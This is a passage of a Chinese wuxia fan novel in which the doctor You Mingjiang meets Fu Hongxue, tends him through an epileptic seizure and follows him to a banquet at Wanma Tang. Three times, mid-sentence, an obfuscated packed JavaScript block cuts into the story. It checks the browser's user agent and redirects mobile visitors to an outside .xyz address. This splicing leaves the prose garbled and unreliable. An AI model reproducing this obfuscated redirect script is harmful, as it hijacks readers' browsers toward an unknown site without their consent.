眼瞅着“战争”一触即发,黑衣少年突然插话,掏出一锭银子:“我住三个月。” 那是一锭五十两的银子。 “五……五十两?”双手接过这锭银子,老太婆两眼放光,也顾不得撵人了,当即摩挲起沉甸甸的银子,笑得合不拢嘴,连脸上的皱纹褶子都舒展开了。 她越瞧这持刀的黑衣少年,就越觉得怎么看怎么顺眼,他哪里是什么晦气的煞星,分明是出手阔绰的善财童子嘛! 不像有的人…… 眼角瞟着尤明姜,老太婆撇撇嘴,又望向傅红雪,赔着笑道:“还多了二十两。” 傅红雪点了点头,看向一旁的尤明姜。 边城,与其说是一座城,倒不如说是个私人的绿洲,边城靠近万马堂的马场,便被纳入了马空群的地盘范围。夜晚巡逻的人,大多是马空群的手下。这人是个瞎子,万一冲撞了马空群的人,后果不堪设想,垫一垫房钱倒也无妨。 老太婆小声嘀咕起来:“不租,还赖在这里不走,净爱占便宜……” 这一声嘀咕,自然瞒不过当事人的耳朵。 尤明姜深吸一口气,冲黑衣少年点了点头,“不妨事,此处不留人,自有留人处。”她挥挥手,走出屋子的时候,“嘭”地锤了门板一拳,大笑着扬长而去。 “小兔崽子!”老太婆铁青着脸,不甘心地唾骂了一句,骂完又眼巴巴地看着傅红雪,“多出来的二十两……” “留着给你买棺材吧。”傅红雪回身关门,落下了门闩。 就在门闩落下的那一刻,油灯熄灭,与人等高的衣柜忽然打开了。 傅红雪身子一僵,只听黑暗中响起了一道娇媚的女声:“我已经等了你好久。” · 深夜,月光洒在这片荒凉的土地上。 耳边传来了一道极轻微的“吧嗒”声,跟猫咪踩在屋檐上似的。 刀光晃眼的一瞬,尤明姜已反手取出了虎撑。 一伙手持长刀的蒙面刺客,悄无声息地从犄角旮旯里闪现了出来,拦截住了她的去路。他们将尤明姜围在中间,缓缓地收拢了包围圈。 尤明姜轻叹:“我只是个江湖铃医,诸位认错人了。” 俨然是刺客头领的男人,摇了摇头:“没认错,昔日崖州分舵的尤舵主。” “看来是老冤家。”尤明姜冷下脸,掂了掂手中的虎撑,“想杀我,就凭你们几个?” 刺客头领都没有说话,瞄了一眼她的虎撑,警惕地握住了手中的长刀。 泄气则胆怯,未战先败。 就在这一瞬间,其貌不扬的虎撑,在月下闪着奇异的光,朝着他们劈了过去! …… 夜风中隐隐传来了血腥气,血水蜿蜒成一条鲜红的小溪。 横七竖八的尸体倒在了小巷子里。 他们的眼睛睁得大大的,脸上无一例外都是恐惧和震惊。 刺客头领见势不妙,他踉跄着爬起身,跌跌撞撞地往远处逃。 “哼!”尤明姜冷笑一声,想跑?想跑到哪里去? 跑到幕后主使的老巢里么? 想到这里,她握紧了虎撑,腾身跃上屋顶,紧跟在刺客的身后。 . 夜色浓,春意胜。 傅红雪被抵在门上,一双温柔的手攀着他的脖颈,左手攥紧了剑鞘。像是敏感的牙神经接触到了冷空气,他浑身颤抖得厉害。他不认识这个女人,只知道她是母亲的心腹丫鬟,被安插在万马堂的楔子。 就是她一道书信,传递了万马堂内乱的消息。 那温柔的女声,轻轻地附在他的耳畔:“今晚过后,你就是个真正的男人了……” 就在这时,突听屋顶上传来了“咔嚓”的轻响。 女人松开黑衣少年,慌乱地撂下一句话:“你留下,我去看看。” 说完,她纵身跳出窗外,不见了踪影。 · 一排排泥坯屋,屋顶盖着老化发脆的瓦片,稍不留意就可能坍塌。尤明姜脚尖轻点瓦片,身法轻盈,紧紧跟在身负重伤的刺客头领身后。 刺客头领怎么也甩不掉她,慌乱之下连翻数个屋脊,逃进一条眼熟的暗巷。 随着她越追越近,尤明姜不禁皱眉,这不是她租屋子的那条暗巷么? 月光洒在偏僻的暗巷里,一线碧幽幽的光陡然射来,“嗖”地没入了刺客头领的体内。 “呃!”刺客头领惨叫一声,脚下忽然踩空,屋顶的瓦片塌了! 见势不妙,她忙伸手去捞,谁知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882142|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扑了个空,眼睁睁地瞧着他砸穿了屋顶! 刺客头领掉进了屋里,重重砸落在地,一阵抽搐过后,七窍流血而死。 · 屋内又点起了油灯。 傅红雪站在窟窿底下,微凉的夜风拂过头顶,一抬头,就瞧见了手握虎撑的蒙眼青年,对方趴在屋顶的窟窿旁边,还维持着伸长了胳膊的姿势。 隔着坍塌的巨大窟窿,两个人面面相觑。 “打扰了。”尤明姜讪讪一笑,从窟窿中跳了下来。 她蹲下来,在刺客头领的脑袋上细细摸索,最后在他的眉心处发现了一根针。 针尖泛着碧幽幽的寒光,这刺客显然是被人灭了口,难道幕后凶手就在边城? 她不禁陷入了沉思。 · 毒针从尸体上被拔出时,旁观的傅红雪猛地弯下腰,忍不住干呕了起来。 他知道自己是来诛杀仇人的,可亲眼目睹一条鲜活的生命呈现出如此惨烈的死相,内心还是受到极大冲击。 傅红雪情绪波动剧烈,呼吸急促得如同濒死之人。 见黑衣少年剧烈痉挛,尤明姜大为吃惊,忙道:“你别激动。” 豆大的汗珠不断从额头冒出,浸湿了衣衫,喉咙里发出“咕噜咕噜”的怪响,突然,黑衣少年直挺挺地倒下! 傅红雪在地上缩成了一团,腮帮子鼓胀,起初嘴角只淌下了一缕白沫,转瞬就变成了浓浓的白沫,打湿了衣领,又顺着脖颈淌到了地上。 尤明姜怔住了。 她没想到,黑衣少年会被刺激到发病。 · 这个少年患了癫痫。 也就是俗话说的“羊癫疯”。 · 傅红雪把自己的拳头塞到了嘴巴里,狠狠咬了下去,殷红的血顺着指缝往下滴,他脸色惨白,白得像丧幡,每一口气都重得像要把肺撕裂。 整个屋子里充斥着他沉重的喘息,和牙齿咬在拳头上的“咯咯”声。 尤明姜看不下去了,戴上【医用丁.腈.手套】,迅速蹲下了身,托住他的下巴,用了个巧劲,让他松开紧咬的拳头,只见拳头上汩汩渗着鲜血。她取出雪白纱布给他包扎好,正想将黑衣少年的头偏向一侧,他却用尽全身力气,一把将她甩开。 “滚,你滚,别碰我——” 傅红雪蜷缩着,喉咙里发出压抑的嘶吼,像是困兽绝望的挣扎。 这病就像个看不见的恶鬼,从小到大缠在他的身上,每次受了刺激,大为激动时,这病就会发作,然后撕碎他的尊严,让他像个濒死的骡马一样口吐白沫。 如果被别人看到他这副样子,比杀了他还难受。 即便是个瞎子也不行。 · 尤明姜稳住身形,再度蹲在了黑衣少年的身旁,并没有生他的气。 她深知,这孩子不仅是身体上的痛苦,更是尊严被病痛践踏后的崩溃。 癫痫发作时,往嘴里塞纱布和强行按压四肢,这两种做法都是大忌。 尤其是塞纱布的做法,防不住患者咬伤舌头,还可能堵塞呼吸道,酿成大祸。 她轻轻叹了口气,只是静静地蹲在旁边,握住他的手,观察着他的呼吸和心跳。 · 不知过了多久,傅红雪的力气渐渐耗尽,手缓缓滑落。 他的呼吸依旧急促紊乱,每一次吐息都伴随着痛苦的抽搐。 轻轻将他扶起,尤明姜没有强行按压他,任由他像个孩子一样蜷缩成一团。手缓缓抬起,轻轻搭在傅红雪发顶,指尖温柔地在他发丝间穿梭。 每一次触摸,都轻得像在触碰一只脆弱的蝶。 尤明姜一边摩挲他的头发,一边轻轻哼唱:“①月儿明,风儿轻,树叶儿遮窗棂,蛐蛐儿叫铮铮,好比那琴弦儿声……” 傅红雪的意识在混沌中沉浮,这声音仿若梵音,丝丝缕缕渗进他的感知里。 他的眉头仍微微蹙着,但脸上的痛苦却渐渐褪去了,原本急促紊乱的呼吸,也慢慢有了平缓的节奏。 傅红雪微微睁开眼,干裂的嘴唇微微动了动,想要说些什么,却发不出一点声音。 似是察觉到了他的意图,尤明姜轻声道:“你别说话,好好歇着。” 可他喘着粗气,硬生生挤出了一句:“你……你不是瞎子?” 20.荔枝 尤明姜微微扬起下巴,抬起手,指尖触碰到黑绸带的边缘。 她轻轻扯落黑绸带。 眼型狭长,眼尾微挑,眼眸澄澈明亮……绝不是一个瞎子会有的眼眸。 · 傅红雪眼神复杂,右手紧握成拳,指甲深深地陷入掌心。 尤明姜歪了歪头,坦然地迎着他的目光:“怎么,很意外?” “为什么要蒙着眼?”傅红雪艰难地开口,沙哑的声音中透着执拗。 “因为戴着它,我的心情就会很好。” 尤明姜抚过黑绸带上的两块青鱼石,“这是家妹的心血,专门防风沙的。” 提到“家妹”二字,她的语气又温柔了几分,温柔得都要滴出水来。 · 对傅红雪来说,这一幕太过刺眼了! 先前见她蒙着黑绸带,他曾打心底萌生过钦佩,以她的坚强来激励自己。 但此时此刻,傅红雪终于搞清楚了。 从来没有什么同病相怜的陌生人,从头到尾,只有他这个自作多情的可怜虫罢了。 原来他竟然这么懦弱,软弱到需要个“同病相怜”的陌生人,作为他的精神支柱。 他不由露出了一丝惨笑。笑容悲苦无垠,苦得像他暗无天日的苦厄命运。 这样的日子,什么时候才能到头呢? · 圣母系统没有发放义酬奖励。 尤明姜轻轻叹了口气。 看来系统可能并不认可她的拯救措施。 也是。 除了看着他打滚嘶吼外,她刚刚没有想出任何缓解他痛苦的方法。 · 傅红雪眉头紧蹙,左手捂住胸口,额头上渗出了细密的汗珠,濡湿了鬓角。他吃力地撑起虚弱的身体,想要从地上爬起身来。 见状,尤明姜一手揽住他的肩膀,一手握住他的手腕,稳稳地将他搀扶起来。 就在这时,系统播报声在尤明姜耳边突兀响起,打破了紧张又微妙的氛围。 【叮!尊敬的少侠,检测到您对■■■的关怀行为,现已触发隐藏任务。】 【任务名称:探寻■■■的痛苦根源。】 【任务描述:江湖暗潮汹涌,■■■藏着不为人知的往昔。少侠慧眼如炬,请走进■■■的世界,拼凑起被岁月掩埋的记忆,找到真相。记住,江湖多险,人心难测,真相或许藏在假象背后,万事多加小心。】 【任务奖励:医疗便携急救箱*1只】 · 探寻■■■的痛苦根源? 她一怔,眼中闪过一丝惊奇,刚要开口询问黑衣少年姓名,一阵气势汹汹的叫嚷声骤然从门外传来。 定睛一看,正是那手持大笤帚的老太婆,直冲冲地闯了进来。 老太婆瞧见屋顶的巨大窟窿后,几乎要气得半死,等瞧见了屋里的尸体,她更是险些晕倒。她抡起大笤帚,左挥右抡,笤帚上的细枝簌簌作响,“滚——你们俩个扫把星,给我滚!” 傅红雪脸色苍白,踉跄了两步,躲避着老太婆的唾沫星子和大笤帚。 见状,尤明姜捋起袍袖,露出精瘦而结实的手臂,挡在黑衣少年身前。 无论老太婆往哪儿晃,都被她挡个严严实实,压根无法凑近傅红雪。 尤明姜皮笑肉不笑,扬了扬拳头,她并不是个尖酸刻薄之人,也明白庄户人家的苦楚,只是她今日如果不挺身而出,依着这个黑衣少年的脾性,只怕是这一锭五十两的银子再也讨要不回来了,平白无故地打了水漂。 “你这老虔婆,急着撵人,想吞那五十两银子?” 见她手掰得咯吱响,老太婆缩了缩脖子,不由有些打怵,但瞄了一眼地上的死人,很快又恢复了泼辣的模样:“少废话!再不滚,我就报官!” “我听说,死过人的房子,房租会下跌,死得越多,房租越低。”尤明姜睨了老太婆一眼,笑得意味深长,吓唬她道,“可我觉得这话不对,花再少的钱,也不如不花钱。黑心奸商,死一个少一个。” 傅红雪嘴唇动了动,欲言又止,眼中闪过一丝犹豫,最终还是将话咽了回去。 老太婆脸色阵青阵白,额头一直渗冷汗,她心里清楚,这是赤裸裸的死亡威胁。 她强作镇定,挤出一丝僵硬的笑容:“瞧贵客您说的,老婆子说笑而已。” 说完,老太婆从怀里掏出还没捂热的五十两银锭,咬牙忍痛递给了尤明姜。 尤明姜伸手一把夺过银锭,在手中抛了抛,脸上笑意更浓,“今日之事,最好烂在你肚子里。” 老太婆吓得脸色惨白,双腿发软,忙不迭地点头。 “识相就好。”说完,尤明姜冷哼一声,拉着一旁的傅红雪大步离开。 · 处暑的夜晚,风静草虫吟,幽幽的流光挂在夜幕中闪烁。 傅红雪呆站在这片荒芜之地,第一次感受到了“不知只影何处去”的无助。 明明暑热已渐散,可他却胸闷得厉害,好像喘不上气来。 见他眼尾泛红,一副快哭了的表情,尤明姜轻叹道:“我不是故意的,在刺客踩塌了之前,我已经准备捞他了……” 然而回应她的,却是黑衣少年一瘸一拐的背影。 尤明姜这才发现,他似乎有点残疾,每走一步,须得先迈左腿,右腿才能拖过去。 她愣在了原地。 目光紧盯着他的右腿,心中涌上一阵懊悔,她迟疑了片刻,还是追了上去。 路旁的草丛随风摇曳,傅红雪左手握刀,脚步显得有些缓慢而沉重。 尤明姜远远地缀在他身后。 独自一人走在黑暗中,什么危险的变故都可能发生的。 · 傅红雪也是这样想的。 因此,他并没有撵她走,而是放慢了脚步,与她并排而行。 他从来不愿让别人盯着自己的背影瞧,对他来说,尊严比性命更重要。 傅红雪不愿被人怜悯,更不愿被人肆意打量、指指点点。 他低头看着脚下的路,偶尔冒出一两颗小石子,也被他踢到一旁去。 右腿逐渐传来阵阵隐痛,这种疼痛是从骨头缝里迸发出来的。 这些年来,他总用这种疼痛来提醒自己,不要忘记是谁让他沦落到这种境地。 · 尤明姜跟在傅红雪身侧,目光时不时地落在他的右腿上。 她张了张嘴,但不想被误解为“高高在上的怜悯”,话到嘴边又咽下。 走着走着,傅红雪的呼吸越来越急促,冷汗打湿了他的衣襟。 自从瘸腿后,膝盖总是传来一阵阵烧灼似的刺痛,有时候痛得像刀切神经,有时候像蚂蚁在腿上爬过。 尤明姜心中一紧,强势扶着傅红雪,走到路边的一块大石头旁,让他坐下。 她蹲下身,小心翼翼地挽起傅红雪的裤腿儿,仔细查看他右腿的伤情。 傅红雪看着她专注的神情,心中涌起一股异样的感觉,这些年来,他一直独自承受着身心的双重煎熬,从未有人如此关心过他。 “这是我用骨碎补、续断、姜黄、生天南星制成的药膏,敷上能缓解疼痛。”尤明姜站起身,从竹编药篓中取出接骨续筋膏,轻敷在他的右腿膝盖上。 傅红雪呆呆地看着她,动了动嘴唇。 这一瞬间,他像被人撬掉了心口的止逆阀,满腔委屈都倒灌到了他的眼眶中。 嗓子眼儿又麻又涩,他梗着脖子望向天空,喉咙反复滚动,好一会儿,终于将腥咸的眼泪咽进了肚子里。 · 捕捉到他低迷的情绪,尤明姜沉思片刻。 眼角余光瞥见沟渠旁的绿茸,她轻轻走到茂密的野草丛里,左一把、右一把,不一会儿便采回了一束饱满的狗尾巴草。 灵活的手指捻着叶梗左缠右绕,不消片刻,一只栩栩如生的小松鼠便赫然在目。 尤明姜弯下腰,拉过他的手,把预留出来的又细又长的草梗,在他手指上绕圈打个结。 她轻柔地哄着,像对待小孩子一般,声音里满是温柔:“别难过啦,小松鼠来陪你咯。” 傅红雪微微一怔。 翻转着手腕,狗尾巴草编成的小松鼠,正趴在他苍白的手背上,跟着手腕一起转动。 傅红雪毫无征兆地落下了一滴泪。 伸手拭去他眼角的泪珠,“……我叫尤明姜,是个铃医,你可以叫我尤大夫。” 垂下眼眸,傅红雪沉默良久,缓缓道:“……傅红雪,红色的红,大雪的雪。” 红雪,染红的雪。 那是被鲜血染红的罪证。 尤明姜却扬起一个明媚的笑: “①不寄梅花,千里寄红雪。红雪荔枝,好甜的名字。” · 【任务名称:探寻傅红雪的痛苦根源。】 【任务描述:江湖暗潮汹涌,傅红雪藏着不为人知的往昔。少侠慧眼如炬,请走进傅红雪的世界,拼凑起被岁月掩埋的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890743|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记忆,找到真相。记住,江湖多险,人心难测,真相或许藏在假象背后,万事多加小心。】 【任务奖励:医疗便携急救箱*1只】 · 垂下眼眸,傅红雪沉默良久,他说话很慢,“我从来没有朋友。” 以前没有过朋友,以后也不准备有朋友,更不需要有朋友。 两个世界的人本就是格格不入的,为什么一定要成为朋友呢? 他血脉中流淌着仇恨的执念,注定被仇恨所束缚,无法获得解脱。 朋友会成为他的累赘,他也会成为朋友的祸根。 傅红雪道:“……和我走得近,很危险。” 尤明姜道:“没关系,我就喜欢找刺激。” 傅红雪瞥了她一眼,神色变得很微妙,内心也陷入了挣扎之中。 像是冰雪覆盖下的活火山,在他冰冷的外表下,似乎潜藏着一股亟待喷涌的炽热火焰。良久,他突然沉下了脸,“我说了,你我不是朋友,也做不成朋友。” 尤明姜也不生气,笑吟吟道:“不想和我做朋友,那是想做恋人?” 傅红雪涨红了脸,脱口而出:“我没有!” 尤明姜眨了眨眼,将食指竖在唇边,轻轻地嘘了一声。 傅红雪:“……” 他咬紧牙关,两眼瞪视着她,仿佛在瞧着什么可怕的怪物。 深深地看了她一眼,没有再继续说下去,傅红雪一跛一跛地往前走。 好像也不需要他回话,尤明姜背着竹编药篓,始终与他并排行走。 她自顾自道:“我考考你,②猫会喵喵喵,狗会汪汪汪,那鸡会怎么样呢?” “不知道了吧?鸡会留给有准备的人!” 傅红雪:“……” 心中像卸了一块巨石般松快,涌起一股莫名的笑意。 傅红雪嘴角微微地扬了起来。 · 脚尖轻轻一点,像只灵活的狸花猫,轻盈地跃上了墙壁。 踩在半拃宽的墙头上,双手像竹蜻蜓似的,舒展在身体两侧,保持着平衡。 尤明姜站在墙头上,左脚接右脚,和墙根下的傅红雪,慢慢地并排走在一起。 微风拂过两个年轻人的头发,竟然还有些静谧和美好。 眼望着要走到了长街尾,尤明姜突然神色一凛,傅红雪轻吁一口气:“有人。” 循着他的视线望去,不知在什么时候,街尾忽然来了一队仪仗鲜明的骑士。 他们一身白衣胜雪,骑在高头大马上,簇拥在一辆豪华马车的左右。 两匹神骏拉着马车,车夫坐在车厢前,手持缰绳,也穿着一身白袍。 车窗上挂着薄如蝉翼的纱帘。 阳光透过纱帘,洒在宽敞而舒适的车厢里,隐隐映出了一道剪影。 但是车厢里的人,依旧安静地坐着,没有一丁点儿下车的意思。 傅红雪还是面无表情,拖过僵硬的右腿,缓缓地停下了脚步。 他嘴唇紧闭,静静地站在原地,整个人散发着一种“生人勿近”的冷漠。 当先的白衣人抱拳行礼,“奉堂主马空群之命,请二位今夜来万马堂赴宴。” · 马空群…… 傅红雪垂下眼,默默地握紧了自己的刀,用力到指节泛白。 尤明姜问了一句:“这是单请我们两个的,还是别的人都请了。” 但凡是个有眼睛的人,都能瞧得见,马车里坐着一个人。 白衣人道:“都请了,只差二位了。” 尤明姜轻叹:“③我就知道,不先去请了别人,也不会来请我们。” “您是贵客,贵客自然是压轴的。” 白衣人听出了她的弦外之音:“万马堂一定竭力满足您的要求。” “哦?”从小褡裢里掏了块饴糖,塞进自己的嘴里,尤明姜淡淡地回应,“我吃席很讲究,要荤素六四分,凉热三七分,至少有一条完整的鱼。” “至于汤汤水水的,就要一道鸡汁煮干丝,记得把豆腥味儿去干净了。” “面食嘛,给我俩各来一碗爽滑劲道的槐面冷淘,配一小碟腌芦笋。” “还有席间的座位,麻烦将我俩安排在一起……就这么几条,要求不高。” 听了她这一大堆要求,每一条都是个精细的活计,足够他们折腾了。 白袍人脸色难看,他指着那辆豪华马车,咬牙切齿道:“二位贵宾,请上车。” · 22.请假条 风卷着沙粒子打旋儿,把天地搅得黑麦面粉似的。 尤明姜换了身黑衣裳,罩甲、贴里、护腕都是黑的,她背着个竹编的药篓子,手里提着一盏风灯,灯罩子被风吹得直晃悠,只够照亮脚底下那一小块地方。 昏黄的光晕投在她脸上,忽明忽暗的,傅红雪走在她身旁,两人的身影在漫天黄沙中若隐若现,两人的影子时而重叠,时而分开,像是风中相依的两株芦苇。 鞋底蹭着沙地,留下一串浅浅的脚印,转眼又被风抹平了。 听完傅红雪那段惨痛的过往,尤明姜皱眉:“这么说来,你的父亲是白天羽,母亲是花白凤,马空群是你的杀父仇人?” 傅红雪微微颔首。 每一次回忆,就像揭开未愈合的伤疤。 傅红雪的父亲,神刀堂的白天羽,曾经把马空群当成最知心的朋友。可谁能想到呢?马空群会带着一帮子人屠了白家满门。 只剩满院的血腥气,和那柄不祥的黑刀。 那柄黑刀成了他唯一的伴儿,夜深人静的时候,他就望着天上的月亮,想着那个未曾亲身经历却毁了他一生的雪夜。 · 尤明姜皱了皱眉头,下意识地打开系统面板,她抿着嘴,眼神有些凝重。 【任务名称:探寻傅红雪的痛苦根源。】 【任务描述:江湖暗潮汹涌,傅红雪藏着不为人知的往昔。少侠慧眼如炬,请走进傅红雪的世界,拼凑起被岁月掩埋的记忆,找到真相。记住,江湖多险,人心难测,真相或许藏在假象背后,万事多加小心。】 【任务奖励:医疗便携急救箱*1只】 她心想:为什么系统还未提示任务完成?难道这背后还藏着什么不为人知的秘密? 那会儿傅红雪还在襁褓里,连话都不会说。关于复仇的事,想必是从母亲那儿听来的…… 尤明姜歪着头想了想,轻声问道:“这么说,你今儿个晚上是来取他性命的?” 傅红雪的手猛地攥紧了刀柄,指节泛白。 “我要的,不光是他的命,”他的声音像是从地底下冒出来的,“我要的是个公道。在没弄清楚所有仇人之前,我不会轻易动手。” 在他心里,报仇必须光明正大,要让所有人都心服口服。这是他的信念,也是压得他喘不过气来的枷锁。 马空群为了引出白家的后人,特意在万马堂摆下这鸿门宴,把近日来边城的江湖人都请了来。 既然他敢请,傅红雪就敢去。 尤明姜望着他的侧脸,轻轻叹了口气,那叹息声混在风里,转眼就消散了。 · 万马堂。 庭院里的灯笼在风中摇曳,投下斑驳的光影。 宴会似乎已经结束,只剩下万马堂的手下在巡逻,脚步声在寂静中格外清晰。 “你有没有觉得,这里安静得有些可怕?”尤明姜压低声音说道,扫视四周。 傅红雪微微颔首,声音低沉:“没有鸡犬声。” 确实,这偌大的万马堂听不见一声鸡鸣犬吠,死寂得让人心慌。 空气中飘来一丝若有若无的血腥气,与骆驼粪便和干草的味道混杂在一起,更衬得这寂静诡异非常。 尤明姜和傅红雪对视一眼,彼此心领神会,不约而同地放轻了脚步。 · 马厩里的血腥气涌来时,傅红雪弓着身子,双手撑着膝盖,剧烈地干呕起来。 世上竟有这般讽刺之事,命运给了他见不得血腥的弱点,又强塞给他血海深仇。傅红雪攥紧拳头,指甲嵌入掌心,几乎要掐出血痕。 突然,他眼前一暗。 镶嵌着两块青鱼石的黑绸带,覆在傅红雪的眼睛上。 戴上后,原本就昏暗的夜色越发朦胧,眼前只剩影影绰绰的模糊黑影。 “风沙迷眼。”尤明姜淡淡说道,利落将黑绸带绕过傅红雪的耳畔稳稳系紧。 傅红雪先是一愣,身子僵在那里,像根木桩子似的。过了好一会儿,才慢慢放松下来。他慢慢直起身子,眼前黑蒙蒙的一片,只有些模糊的影子在晃悠。 可那股子血腥气却挥之不去,混着荒凉的味道,直往鼻子里钻。 他深吸一口气,试图让翻涌的胃平复下来,对尤明姜说道:“这血腥气……” 他顿了顿,眉头拧成一个“川”字,尤明姜安慰他:“我去看看。” “小心点。”傅红雪低声叮嘱,心里头五味杂陈。 · 尤明姜伸手探入竹编药篓,指尖一挑,一张漆黑的长弓便落入掌心。 弓身泛着冷冽的光泽,她五指一扣,护臂"咔嗒"一声扣紧,护指带缠绕在腕间。 “铮——”弓弦在她手中绷紧,尤明姜眯起眼,感受着弓身传来的震动。 她的手指在箭壶中翻飞,箭壶里有十八支箭,羽箭被一一检视,钝头的、松线的,都被她随手甩到一旁重新排列,然后将箭壶甩上肩头,长弓在手中一转,稳稳搭在臂弯。 脚下的土地泥泞,混合着血水与泥土,每走一步都发出沉闷的“噗嗤”声。 一匹匹良驹横尸当场,脖颈被利刃割开,鬃毛被鲜血浸透。当她看到那匹枣红马破碎的脖颈时,指甲生生掐进掌心。 自己明明已将枣红马托付给了翠浓,它为什么会出现在这儿,还惨遭毒手? “翠浓……”喉间滚过这个名字时,弓弦在她指节勒出深痕。 马厩深处传来腥浓的血腥气,她用箭尖挑开盖尸的麻布。马师空洞的眼窝里凝着黑血,喉间刀口利落得像是裁纸。马师没有明显的抵抗的伤痕,衣物也没有被撕扯的痕迹,显然是在毫无防备的情况下遭到了袭击。 她站起身,目光扫过马厩的每一个角落,马厩内没有任何打斗的迹象。 尤明姜深吸一口气,转身走出马厩,言简意赅地向傅红雪说明了情况。 傅红雪声音低沉,语气冷峻:“眼睛可能记录下凶手的面容,挖眼是为了销毁证据。今晚设宴,显然是有人想借此混淆视听。” · 就在她思索之际,不远处传来了紧急的鸣锣示警声。 数十名万马堂的白衣弓箭手迅速散开,呈扇形包围了尤明姜和傅红雪。 箭尖寒光闪烁,直指两人。 为首的白衣男子手持长弓,目光凌厉,厉声喝道:“何人擅闯万马堂?报上名来!” 傅红雪淡淡回应:“过客。” “过客?”白衣男子冷笑一声,语气咄咄逼人,“马匹尽数被杀,马师惨死,你们身份不明,又出现在案发现场,便是最大的嫌疑!” 尤明姜皱了皱眉:“我们若是凶手,何必留在此地等你盘问?倒是你,身为万马堂之人,马厩出事却一无所知,未免失职。” 云在天被这话一噎,脸色微变,但很快恢复冷静:“即便如此,你们也需留下,待查明真相后再作定夺。更何况,马师的眼睛被挖,显然是有人想销毁证据,你们若不是心虚,为何不束手就擒?” “眼睛被挖,是为了销毁证据?看来你们万马堂的人,倒是懂得不少。” 尤明姜轻笑一声,箭尖稍稍偏移,对准了云在天的手腕,“留下?就凭你们这几支箭,怕是留不住我们。” 突然,一阵微风吹过,庭院中的树叶沙沙作响。云在天沉不住气,手指微微一动,箭“嗖”地射了出去,直取尤明姜咽喉。 尤明姜旋身挽弓,弓弦轻响,一支利箭如流星般射出,正中云在天的手腕。 “啊!”云在天惨叫一声,手中的弓掉落在地。 “万马堂的箭,配不上我的弦。”尤明姜冷冷地说道,“给你们三息,退下!” “都住手!”一声大喊打破僵局。 · 众人顺着声音看去,来人正是万马堂的堂主马空群。 他一开口,众人缓缓放下长弓。 谁都没想到,他和叶开、慕容明珠等宾客,竟将一切都看在了眼里。 叶开倚着廊柱嗑瓜子,壳儿落在黄沙中,倒像撒了一地的星子。 很有趣。 他眼睛一扫,忽然瞧见那个黑衣少年。少年脸色苍白,可俊气藏都藏不住。刀鞘黑得像口深不见底的井,刀柄也是黑沉沉的。 叶开只看一眼,心里就“咯噔”一下,直觉告诉他,自己找的人就是这个少年! 马空群与叶开的想法如出一辙。 视线先落在傅红雪的刀上,又凝视着傅红雪的脸,马空群像是在探究他的想法,试图从他的表情中找到一丝破绽。 马空群意味不明地笑了笑:“这就是花场主请不来的两位贵客吧?” 他的笑容中似乎隐藏着什么,让人捉摸不透。 云在天狠狠道:“就是他们,不仅伤了花满天和我,还杀了马师和马厩里的马。” 他将心中的怨恨一股脑地发泄出来,认定傅红雪和尤明姜就是凶手。 “我伤的。”尤明姜大大方方承认,“但是我们没有杀人。” 她坦然面对自己的行为,却坚决否认杀人的指控。 · 马空群的话音刚落,云在天虽然心中仍有不甘,但碍于马空群的威严,只得暂时压下怒火,冷冷地盯着傅红雪和尤明姜。 就在这时,叶开从人群中走了出来。 他步履轻快,脸上挂着一抹淡淡的笑意,仿佛对眼前的紧张局势毫不在意。 他径直走到傅红雪面前,伸出手,语气轻松而自然:“叶开。” 傅红雪依旧面无表情,目光冷峻地扫了他一眼,并未伸手回应。 叶开一点不受影响,收回手,看向尤明姜,笑道:“谢过你的竹筒淡盐水。” 尤明姜挑了挑眉,语气中带着一丝调侃:“你洗澡了,没那么难闻了。” 叶开哈哈一笑,摸了摸鼻子。 马空群笑了起来,目光在三人身上一一扫过,语气中带着几分意味深长:“有话明天再说也不迟。” 叶开伸了个懒腰,附和道:“是啊,先睡觉,有话明天再说也不迟。” 他的态度轻松随意,仿佛眼前的剑拔弩张与他毫无关系。而他的出现,的确让场中的气氛微妙地发生了变化。 云在天虽然依旧冷着脸,但也没有再咄咄逼人,只是冷哼一声,转身离去。 马空群挥了挥手,示意众人散去,只留下几个心腹。在马空群的安排下,尤明姜和傅红雪被带到了各自的客房。 尤明姜一进房间,便立刻检查了门窗,确认没有异常后,才用药葫芦复制着竹编药篓中的药材,每一样都复制了999份。 与此同时,傅红雪坐在榻边,手中紧握着那把黑刀。 这万马堂今夜发生的事太过蹊跷,马空群的态度更是让人捉摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904301|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不透。 “马空群……你到底在谋划什么?”傅红雪低声喃喃,眼中闪过一丝冷意。 · 三更天。 一灯如豆,药物复制了泰半,肚子却不争气地咕咕叫了起来。 尤明姜揉了揉肚子,叹了口气,饿得开始偷工减料。 